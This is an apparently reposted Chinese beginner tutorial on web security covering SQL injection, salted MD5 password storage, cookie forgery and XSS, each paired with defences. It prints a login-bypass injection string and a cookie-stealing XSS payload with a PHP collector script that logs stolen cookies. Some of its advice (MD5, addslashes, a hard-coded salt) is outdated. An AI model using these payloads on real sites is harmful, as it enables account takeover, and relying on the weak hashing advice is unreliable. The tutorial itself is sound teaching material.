web安全(入门篇)

web安全的概念太过于宽泛,博主自知了解的并不多,还需要继续学习。但是又想给今天的学习进行总结,所以今天特分享一篇关于web安全的文章,希望对初次遇到web安全问题的同学提供帮助。SQL注入数据库表出现场景当开发登录模块的时候,如果我们使用是mysql操作php,并非使用mysqli、PDO等;当查询用户是否存在的SQL是这样写的,select*fromuserwherename=

大家好,又见面了,我是你们的朋友全栈君。

web安全的概念太过于宽泛,博主自知了解的并不多,还需要继续学习。但是又想给今天的学习进行总结,所以今天特分享一篇关于web安全的文章,希望对初次遇到web安全问题的同学提供帮助。


SQL注入

  • 数据库表

这里写图片描述

  • 出现场景

当开发登录模块的时候,如果我们使用是mysql操作php,并非使用mysqliPDO等;当查询用户是否存在的SQL是这样写的,select * from user where name = 'admin' and password = '123456'; 这样写是以查询来的,但是会出现漏洞。居心叵测的人就可以使用万能密码xxx ' or 1 # 来破解上面的登录操作。

  • SQL注入原理

用户在输入用户名的时候直接输入万能密码:xxx' or 1 #,那么最后拼接的SQL会变为:select * from user where name = 'xxx' or 1 # and password = '123456'; #符号代表SQL语法中的注释,上面的SQL就如同select * from user where name = 'xxx' or 1 。这样是可以查询到用户信息的,所以用户就登录了系统。

  • 如何防范

1、过滤非法字符:保证传来的字符串作为一个参数,而不是语句拼接的一部分。所以需要对特殊字符进行转义,可以使用addslashes函数,我们可以给$_GET、$_POST、$_COOKIE等几个数组进行转义。下面我给大家封装了一个方法,递归给数组中带特殊字符的元素进行转义。

封装函数

<?php /** * 给数组中的特殊字符进行转义 * @param arr $arr 转义前的数组 * @return arr 转义后的数组 */ function _addslashes($arr){ 
     foreach ($arr as $k => $v) { if(is_string($v)){ $arr[$k] = addslashes($v); }else if(is_array($v)){ $arr[$k] = _addslashes($v); } } return $arr; } ?>

其次,在初始化文件中,使用以下代码

<?php
//给get、post、cookie中的内容进行转义
$_GET = _addslashes($_GET);
$_POST = _addslashes($_POST);
$_COOKIE = _addslashes($_COOKIE);
?>

2、确保正确的数据类型:判断url或表单中传来的数据是否为想要的数据类型,如果不是,进行相应的数据类型转换。如使用方法intval() 提取变量中的整数值;如果参数错误,可以提示用户非法操作!

3、使用正则表达式:设置用户的输入规则,限制用户不安规则瞎输

4、使用预处理而不是拼接SQL语句:在上文我说过,使用mysql操作数据库会出现漏洞,避免出现这样的问题,可以使用mysqli、PDO来操作数据库。因为它们两都是将SQL预处理的,然后放入参数。

prepare st1 from 'select * from user where name=? and password=?';//首先定义sql模板
set @a="admin' or 1 #";//设置参数1
set @b='123456';//设置参数2
execute st1 using @a,@b;//执行sql

密码安全

  • 场景

假如某网站数据库泄露,那么用户信息就被一览无余了,如果这是用户的常用密码,那么坏人拿到密码就可以进行撞库操作,那么你买的12306的票就会被坏人退了。以前csdn和天涯就是使用明文来存储密码的,之后就出现的泄露事件。

  • md5加密

md5是一种加密算法,是不可逆的算法。我们可以将密码使用md5加密后进行存储。那么在判断的时候,需要将用户输入的数据加密再和表中的数据相对比。

注:在php和mysql中都有md5函数。

  • md5的不安全性

上文说了要采用md5加密,怎么又不安全。网上有网站是在线md5解密的,他们是怎么解密的呢?因为他们一直在收集简单密码的md5值,形成越来越大的库。所以,如果密码是简单的纯数字,那么生成的md5值可能会被该网站解密。所以我们应该尽量把密码设置得难一些。

  • md5加盐

什么是md5加盐?在存储密码的时候,我们可以将真实的密码+“盐”之后再进行md5加密。“盐”可以是一个字符串(无规律),也可以是一个字段,比如说是姓名字段,也可是是单独的字段。
在判断用户是否存在的时候,我们先将输入的密码+“盐”,然后md5加密,在和数据库中的密码字段进行匹配。这样做会安全一些。


cookie安全

  • 场景

在某网站中,如果用户登录之后,如果使用的是cookie来存储用户的信息,然后是通过检测是否有这个cookie值来检测是否登录的。那么可能会出现cookie的安全问题。

  • 出现的原因

这里写图片描述

<?php
/** * 判断用户是否登录 * @return bool 是否登录 */
function isLogin(){
    return isset($_COOKIE['name']);
}
?>

这里写图片描述

当用户登录以后,在浏览器中会出现cookie的值,形如上图,cookie的键是name,值是admin。如果网站是根据是否有这个cookie值来检测,形如上面代码,那么坏人就可以使用火狐浏览器中的firebug工具来伪造cookie,如上图。我只是伪造了一个cookie,名称也是name,但是内容我却可以随便输入,此时便会伪造一个cookie,那么以后带着这个cookie去访问的时候其他页面是,就不会被代码拦截了。

  • 解决方式

在登录成功时,除了只设置name项之外,我们可以多设置一项,但是这一项的值必须是随机的,没有任何规律可循的。下面的代码我是先定义了一个盐的变量,然后把登录后的用户名+盐的方式再进行md5加密,再定义一个cookie项。然后修改判断用户是否登录的代码。

<?php $salt = "ioujijasdf/,.[?"; setcookie('name',$user['name']); setcookie('cookiecode',md5($user['name'].'|'.$salt)); >?
<?php /** * 加密用户名 * @param str $name 用户名 * @return str 加密之后的用户名 */ function cCode($name){ 
     $salt = require(ROOT.'/lib/config.php'); return md5($name.'|'.$salt['salt']); } /** * 判断用户是否登录 * @return bool 是否登录 */ function isLogin(){ 
     if(!isset($_COOKIE['name']) || !isset($_COOKIE['cookiecode'])){ return false; } return $_COOKIE['cookiecode'] === cCode($_COOKIE['name']); } ?>

xss攻击

  • 案列
    在从事项目开发中,经常会碰到评论功能,如果我们将评论的内容直接存到表中,那么显示的时候就可能被用户输入的东西进行攻击。

1、恶作剧:

<font size="100" color="red">逗你玩</font>

这里写图片描述

2、略带恶意:
这样就会无限的弹出对话框了,这个网站就挂了,除非把改评论删除

<script> while(true) { alert('欢迎你'); } </script>

3、恶意
读取你的cookie信息,并发送到指定的页面,进行保存操作。

获取cookie的信息

<script> alert(document.cookie); </script>

这里写图片描述

评论的内容

<script> var url = "http://localhost//toucookie.php?cookie=" + document.cookie; var img = document.createElement("img"); img.src = url; document.appendChild(url); </script>

toucookie.php中的内容

<?php
/** * 保存传过来的cookie信息 */
file_put_contents('./cookie.txt', $_GET['cookie'],FILE_APPEND);
?>

cookie.txt的内容

name=admin; cookiecode=6db8034dfdeb453362f50154ee6fa45d
  • 防范xss

1、不需要展示HTML标签的表单内容,入库时直接转成实体显示

$_POST['content] = htmlspecialchars($_POST['content']);

2、可以用正则检测输入框必须为email等合法数据

3、需要展示HTML标签的部分, 仅允许展示有限的标签,如p,a,img等
strip_tags 来过滤html标签

4、需要展示HTML标签的部分, 仅允许展示有限的标签,如p,a,img等
如strip_tags 来过滤html标签

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/125335.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)
blank

相关推荐

  • Protostuff序列化和反序列化使用说明

    Protostuff序列化和反序列化使用说明google原生的protobuffer使用起来相当麻烦,首先要写.proto文件,然后编译.proto文件,生成对应的.java文件,鄙人试了一次,发现真的很麻烦。而protostuff的官方网站(http://www.protostuff.io/documentation/runtime-schema/),对于智商比较低的小编来说也略显生涩,于是鄙人就根据项目中用到的protostuff,撰写此文,以方便自己和他人加深印象和学习。

  • Java文件读写操作

    Java文件读写操作Java中I/O流对文件的读写有很多种方法,在这里我主要介绍三种方式,供大家参考。第一种方式:使用FileWriter和FileReader,对文件内容按字符读取,代码如下Stringdir="E:\\soft\\aaa\\a.txt";Filefile=newFile(dir);//如果文件不存在,创建文件if(!file.exists())file.c…

  • 深入理解java虚拟机第四版PDF下载_深入理解java虚拟机 pdf

    深入理解java虚拟机第四版PDF下载_深入理解java虚拟机 pdfJVM架构图:类装载器:沙箱安全机制:ExecutionEngine执行引擎负责解释命令,提交操作系统执行。NativeMethodStack本地方法栈:运行本地方法的栈ProgramCounterRegister即PC寄存器(程序计数器)程序计数器底层是bytecodepointer(bcp)即字节码指针PC寄存器是用来存储指向下一条指令的地址,也即将要执行的指令代码。由执行引擎读取下一条指令。1.它是一块很小的内存空间,几乎可以忽略不计。也是运行速度最快的存储区域…

  • python进阶(6)深拷贝和浅拷贝「建议收藏」

    python进阶(6)深拷贝和浅拷贝「建议收藏」深拷贝和浅拷贝不管对于浅拷贝、还是深拷贝,针对不可变对象str、int、tuple(有点特殊)、boolean,它的内存地址是不变的,拷贝的仅仅是值importcopya=1b=co

  • MD编辑器设置字体、颜色、大小

    MD编辑器设置字体、颜色、大小颜色:浅红色文字:浅红色文字:深红色文字:深红色文字浅绿色文字:浅绿色文字深绿色文字:深绿色文字浅蓝色文字:浅蓝色文字深蓝色文字:深蓝色文字浅黄色文字:浅黄色文字深黄色文字:深黄色文字浅青色文字:浅青色文字深青色文字:深青色文字浅紫色文字:浅紫色文字深紫色文字:深紫色文字大小:size为1:size为1size为2:size为2size为3:size为3size为4:size为4size为10:size为10字体:我是黑体字我是宋体字我是微软雅黑字我是fanta

  • plugins webpack_webplugin插件无法安装

    plugins webpack_webplugin插件无法安装plugin插件是webpack的支柱功能。webpack自身也是构建于你在webpack配置中用到的相同的插件系统之上!插件目的在于解决loader无法实现的其他事。常用的插件

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号